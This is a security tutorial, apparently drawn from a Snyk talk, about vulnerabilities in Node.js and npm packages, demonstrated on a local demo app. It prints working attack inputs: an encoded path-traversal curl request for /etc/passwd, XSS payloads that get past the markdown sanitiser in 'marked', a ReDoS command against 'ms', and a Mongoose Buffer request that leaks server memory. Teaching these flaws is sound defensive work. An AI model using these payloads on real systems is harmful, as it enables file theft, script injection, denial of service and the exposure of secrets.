This presentation and write up is all inspired from Guy Podjarny, CEO of Snyk,
How is javascript vulnerable and what does this mean for node apps?
Let's discuss these properties first:
The memory life cycle looks like the following:
The developer only explicitly deals with step 1 and 3 with lower programming languages (Ex: C free() and malloc() ). All developers explicitly deal with step 2. In javascript we only explicitly deal with step 2.
Serialization is the process of taking an object/data structure stored in one computer and converting it to a format which is understandble by everyone.
If we wanted to send that array which is stored in your program over the internet, other computers wouldn't be able to retrieve that object since it doesn't lie in their memory.
Javascript fully supports JSON which makes it very easy to send objects over the internet.
The event loop is what allows Javascript to be considered a scalable server side language. That is because for each request it doens't need to create a new thread which takes up space and time. This elimination of new threads for each request makes it easier for us to manage each request. Imagine millions of users using a platform which creates a new thread on each request.
Here is a visual representation of the event loop:
The important part is to know that all events (function calls, event listener is triggered -> callback function..) are added to the message queue where they will eventually be executed by the event loop. There is a possibility that one process might block the single threaded event loop if programmers are not careful.
Url's use encoding , for example you can't put spaces in a url, instead a space is represented as a %20
HTML uses HTML entities to allow the programmer to display certain restricted characters such as the > character. The programmer needs to be careful to consider all types of encoding of a character.
The Node Package Manager allows developer to access and download many javascript packages such as express, react, ws and much more...
One of the cons of NPM is that it has no vetting process to only allow high-quality packages with no malicious code to be submitted to the NPM colleciton. Instead low quality packages and packages with known vulnerabilies can be found in the NPM collection. It relies on users to flag low-quality and malicious packages.
Note, if you want to play with the demo, it is available here
St is a package that serves static files from the server. This is how it looks like in code:
Using curl we will send a request to the about page:
curl localhost:3001/public/about.html
Our goal is to try and escape the sandbox (tight security structure that allows us to only access the minimum files needed). We will try and get the passwd file by going back several directories until we hit root (../../)
curl localhost:3001/public/../../../../../../../../../etc/passwd
The above fails since st had some security in place that prevented the user from going out of the app main directory. Let's try with the encoded dot %2e:
curl localhost:3001/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
The above works and we get access to the passwd file
Marked is a package that converts the markdown text format to HTML. It gets about 3 Million downloads per month.
Basic Syntax:
# Hello corresponds to <h1> Hello </h1> in HTML
In our application we have an input which accepts markdown text format and sends it to the back end to store in our database.
Whenever we talk about user input and database storage, there is the possibility of Cross Site Scripting (XSS). The jist of XSS:
Lets try a few potential malicious inputs we can feed to our application:
<script>alert(1)</script>
Let's try a more sophisticated approach:
[Gotcha](javascript:alert(1))
As we can see the sanitze function is pretty robust. Let's see if it accounted for HTML entities:
[Gotcha](javascript:alert(1))
Now for the ultimate trick, lets exploit the browser's friendliness to our advantage:
[Gotcha](javascript:this;alert(1))
Ms is a package that converts input strings to milliseconds. This package is vulnerable to a Regular Expression Denial Of Service (Regex Dos).
Because this ms uses Regular Expression backtracking, if we pass it an incredibly long string that almost matches, it will backtrack until its explored all possibilities and determines that our string is not valid.
For this exploit, we will use the curl to post data to the web server. Let's start with a simple one:
curl -d 'content=Call mom in 20 minutes' -X POST localhost:3001/create
Using the following curl command we can effectively block the main thread of the application, hence acting like a Denial Of Service since no one can use the service until it finishes backtracking.
curl -d 'content=Call mom in '`printf %.0s5 {1..60000}`' minutea' -X POST localhost:3001/create
Your server when you execute that command:
Ok so what does the command do?:
Mongoose is an Object Document Mapper. It allows us to define strongly typed schemas for a MongoDB database. There are multiple data types that Mongoose supports. One of them is the Buffer.
Let's see how the Buffer class works. In the following example, we initialize a buffer with enough space to store the string '100'.
In this next example, we created a buffer with size 100 bytes. The contents of a newly created Buffer are unknown and may contain sensitive data. In my case, the Buffer picked data that was already zeroed out.
The following curl command sends data in the form of JSON to our server create route. This is the same as submitting stuff in the user input UI. We have more control this way.
curl -d '{"content": "800"}' -H "Content-Type: application/json" -X POST localhost:3001/create
Result of above curl command:
To understand how this exploit works, we will need to explain a few things about how to app is receiving this data. The following is the Todo Schema that stores the to do list items users submit.
Notice the content is of Buffer type.
We have a create route:
In our create route:
If you're still confused how this is vulnerable, we can send a JSON object with content assigned to a number through curl. On the server side it will be parsed as a number which will then create a new Buffer of size [YOUR NUMBER] that contains possible unknown sensible data that lies on the web server.
curl -d '{"content": 800}' -H "Content-Type: application/json" -X POST localhost:3001/create
If we do this enough times we might be able to extract secrets from the web server such as API keys/passwords.
This is really called Remote Memory Exposure
Snyk also has a tool called wizard for node apps. Wizard will step through your node project and identify any vulnerabilities, ask you weather you want to patch or upgrade vulnerable packages. This is highly useful and recommended.